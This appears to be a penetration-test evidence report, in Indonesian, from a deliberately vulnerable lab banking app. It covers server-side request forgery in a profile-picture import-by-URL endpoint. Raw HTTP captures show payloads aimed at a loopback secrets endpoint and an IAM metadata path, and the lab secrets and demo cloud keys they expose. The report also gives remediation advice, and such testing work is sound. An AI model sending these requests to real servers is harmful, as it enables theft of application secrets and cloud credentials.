Skenario 15 / 26FAIL

Server-Side Request Forgery - Profile Picture - Import By URL

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] Server-Side Request Forgery - Profile Picture - Import By URL

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] Server-Side Request Forgery - Profile Picture - Import By URL

Deskripsi

Endpoint /upload_profile_picture_url menerima URL penuh dari klien dan melakukan requests.get server-side tanpa allow-list skema maupun host, mengikuti redirect, dan tanpa validasi content-type. Isi respons upstream disimpan apa adanya ke static/uploads/ yang dapat diakses publik, sehingga hasil permintaan internal dapat diunduh kembali oleh penyerang.

Dampak

Confidentiality (High): penyerang terautentikasi dapat memaksa server membaca endpoint internal yang menolak akses langsung, lalu mengeksfiltrasinya melalui direktori upload publik. Pada pengujian hal ini membocorkan jwt_secret dan app_secret_key aplikasi, kredensial database, serta kredensial sementara IAM cloud (AccessKeyId, SecretAccessKey, session token). Bocornya jwt_secret memungkinkan pemalsuan token administrator yang bertanda tangan sah, sehingga berujung pada kompromi penuh.

CWE

CWE-918: Server-Side Request Forgery (SSRF)

OWASP

A10:2021 - Server-Side Request Forgery (SSRF)

Skenario

Normal: image_url menunjuk gambar profil yang wajar dan diimpor server. Kontrol: /internal/secret diakses langsung dari luar -> HTTP 403 Forbidden. Eksploitasi: image_url diarahkan ke http://127.0.0.1:5000/internal/secret -> server mengambilnya dengan HTTP 200 dan menyimpannya di static/uploads. Eksfiltrasi: berkas hasil unduhan diambil lewat HTTP biasa, membocorkan rahasia aplikasi. Chain: teknik yang sama diarahkan ke endpoint metadata IAM untuk memanen kredensial cloud.

Endpoint

POST http://127.0.0.1:5001/upload_profile_picture_url

Fitur terdampak

Impor foto profil melalui URL

Rekomendasi perbaikan

- Terapkan allow-list host dan skema; tolak URL ke loopback, RFC1918, link-local (169.254.0.0/16) dan nama service internal. - Resolusikan DNS lalu validasi IP hasil resolusi sebelum melakukan permintaan, dan ulangi validasi pada setiap redirect (atau matikan redirect). - Validasi content-type dan ukuran; hanya terima gambar. - Simpan hasil unduhan di luar web root, beri nama acak, dan sajikan melalui handler terotorisasi, bukan sebagai berkas statis publik. - Jangan pantulkan status dan metadata permintaan upstream ke klien.

Bukti konsep

1) (Screenshot 1) NORMAL: image_url menunjuk gambar profil sah -> impor berhasil. 2) (Screenshot 2) KONTROL: akses langsung ke /internal/secret dari luar -> HTTP 403 Forbidden. 3) (Screenshot 3) EKSPLOITASI: image_url diarahkan ke /internal/secret -> server mengambilnya, http_status 200, berkas tersimpan di static/uploads. 4) (Screenshot 4) EKSFILTRASI: berkas hasil SSRF diunduh -> jwt_secret, app_secret_key, dan kredensial database terekspos. 5) (Screenshot 5) CHAIN: image_url diarahkan ke endpoint metadata IAM -> diambil server dengan http_status 200. 6) (Screenshot 6) DAMPAK CIA: berkas kredensial IAM diunduh -> AccessKeyId, SecretAccessKey, dan session token terekspos.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Server-Side Request Forgery - Profile Picture - Import By URL

Description:
Endpoint /upload_profile_picture_url menerima URL penuh dari klien dan melakukan requests.get server-side tanpa allow-list skema maupun host, mengikuti redirect, dan tanpa validasi content-type. Isi respons upstream disimpan apa adanya ke static/uploads/ yang dapat diakses publik, sehingga hasil permintaan internal dapat diunduh kembali oleh penyerang.

Impact:
Confidentiality (High): penyerang terautentikasi dapat memaksa server membaca endpoint internal yang menolak akses langsung, lalu mengeksfiltrasinya melalui direktori upload publik. Pada pengujian hal ini membocorkan jwt_secret dan app_secret_key aplikasi, kredensial database, serta kredensial sementara IAM cloud (AccessKeyId, SecretAccessKey, session token). Bocornya jwt_secret memungkinkan pemalsuan token administrator yang bertanda tangan sah, sehingga berujung pada kompromi penuh.

CWE:
CWE-918: Server-Side Request Forgery (SSRF)

OWASP:
A10:2021 - Server-Side Request Forgery (SSRF)

Scenario:
Normal: image_url menunjuk gambar profil yang wajar dan diimpor server. Kontrol: /internal/secret diakses langsung dari luar -> HTTP 403 Forbidden. Eksploitasi: image_url diarahkan ke http://127.0.0.1:5000/internal/secret -> server mengambilnya dengan HTTP 200 dan menyimpannya di static/uploads. Eksfiltrasi: berkas hasil unduhan diambil lewat HTTP biasa, membocorkan rahasia aplikasi. Chain: teknik yang sama diarahkan ke endpoint metadata IAM untuk memanen kredensial cloud.

Endpoint:
POST http://127.0.0.1:5001/upload_profile_picture_url

Affected Feature:
Impor foto profil melalui URL

Remediation:
- Terapkan allow-list host dan skema; tolak URL ke loopback, RFC1918, link-local (169.254.0.0/16) dan nama service internal.
- Resolusikan DNS lalu validasi IP hasil resolusi sebelum melakukan permintaan, dan ulangi validasi pada setiap redirect (atau matikan redirect).
- Validasi content-type dan ukuran; hanya terima gambar.
- Simpan hasil unduhan di luar web root, beri nama acak, dan sajikan melalui handler terotorisasi, bukan sebagai berkas statis publik.
- Jangan pantulkan status dan metadata permintaan upstream ke klien.

POC:
1) (Screenshot 1) NORMAL: image_url menunjuk gambar profil sah -> impor berhasil.
2) (Screenshot 2) KONTROL: akses langsung ke /internal/secret dari luar -> HTTP 403 Forbidden.
3) (Screenshot 3) EKSPLOITASI: image_url diarahkan ke /internal/secret -> server mengambilnya, http_status 200, berkas tersimpan di static/uploads.
4) (Screenshot 4) EKSFILTRASI: berkas hasil SSRF diunduh -> jwt_secret, app_secret_key, dan kredensial database terekspos.
5) (Screenshot 5) CHAIN: image_url diarahkan ke endpoint metadata IAM -> diambil server dengan http_status 200.
6) (Screenshot 6) DAMPAK CIA: berkas kredensial IAM diunduh -> AccessKeyId, SecretAccessKey, dan session token terekspos.

02 — Tangkapan layar

Tangkapan layar (6)

01 / 1
02 / 2
03 / 3
04 / 4
05 / 5
06 / 6

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
POST /upload_profile_picture_url HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 61
Content-Type: application/json

{"image_url": "http://127.0.0.1:5000/static/images/user.png"}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 71
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:01:59 GMT

{
  "message": "Failed to fetch URL: HTTP 404",
  "status": "error"
}
REKAMAN 02 / 2
HTTP request
GET /internal/secret HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 403 FORBIDDEN
Content-Type: application/json
Content-Length: 51
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:00 GMT

{
  "error": "Internal resource. Loopback only."
}
REKAMAN 03 / 3
HTTP request
POST /upload_profile_picture_url HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 54
Content-Type: application/json

{"image_url": "http://127.0.0.1:5000/internal/secret"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 261
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:01 GMT

{
  "debug_info": {
    "content_length": 508,
    "fetched_url": "http://127.0.0.1:5000/internal/secret",
    "http_status": 200
  },
  "file_path": "static/uploads/823584_secret",
  "message": "Profile picture imported from URL",
  "status": "success"
}
REKAMAN 04 / 4
HTTP request
GET /static/uploads/823584_secret HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Disposition: inline; filename=823584_secret
Content-Type: application/octet-stream
Content-Length: 508
Last-Modified: Wed, 30 Sep 2026 03:02:01 GMT
Cache-Control: no-cache
Date: Wed, 30 Sep 2026 03:02:02 GMT
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25

{
  "note": "Intentionally sensitive data for SSRF demonstration",
  "secrets": {
    "app_secret_key": "secret123",
    "env_preview": {
      "DB_HOST": "db",
      "DB_NAME": "vulnerable_bank",
      "DB_PASSWORD": "postgres",
      "DB_PORT": "5432",
      "DB_USER": "postgres",
      "DEEPSEEK_API_KEY": null
    },
    "jwt_secret": "secret123"
  },
  "status": "internal",
  "system": {
    "platform": "Linux-6.10.14-linuxkit-aarch64-with-glibc2.41",
    "python_version": "3.9.25"
  }
}
REKAMAN 05 / 5
HTTP request
POST /upload_profile_picture_url HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 94
Content-Type: application/json

{"image_url": "http://127.0.0.1:5000/latest/meta-data/iam/security-credentials/vulnbank-role"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 308
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:04 GMT

{
  "debug_info": {
    "content_length": 382,
    "fetched_url": "http://127.0.0.1:5000/latest/meta-data/iam/security-credentials/vulnbank-role",
    "http_status": 200
  },
  "file_path": "static/uploads/267557_vulnbank-role",
  "message": "Profile picture imported from URL",
  "status": "success"
}
REKAMAN 06 / 6
HTTP request
GET /static/uploads/267557_vulnbank-role HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Disposition: inline; filename=267557_vulnbank-role
Content-Type: application/octet-stream
Content-Length: 382
Last-Modified: Wed, 30 Sep 2026 03:02:04 GMT
Cache-Control: no-cache
Date: Wed, 30 Sep 2026 03:02:05 GMT
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25

{
  "AccessKeyId": "ASIADEMO1234567890",
  "Code": "Success",
  "Expiration": "2026-09-30T04:02:04.022586",
  "LastUpdated": "2026-09-30T03:02:04.022573",
  "RoleArn": "arn:aws:iam::123456789012:role/vulnbank-role",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYDEMODEMO",
  "Token": "[REDACTED-LAB-VALUE]",
  "Type": "AWS-HMAC"
}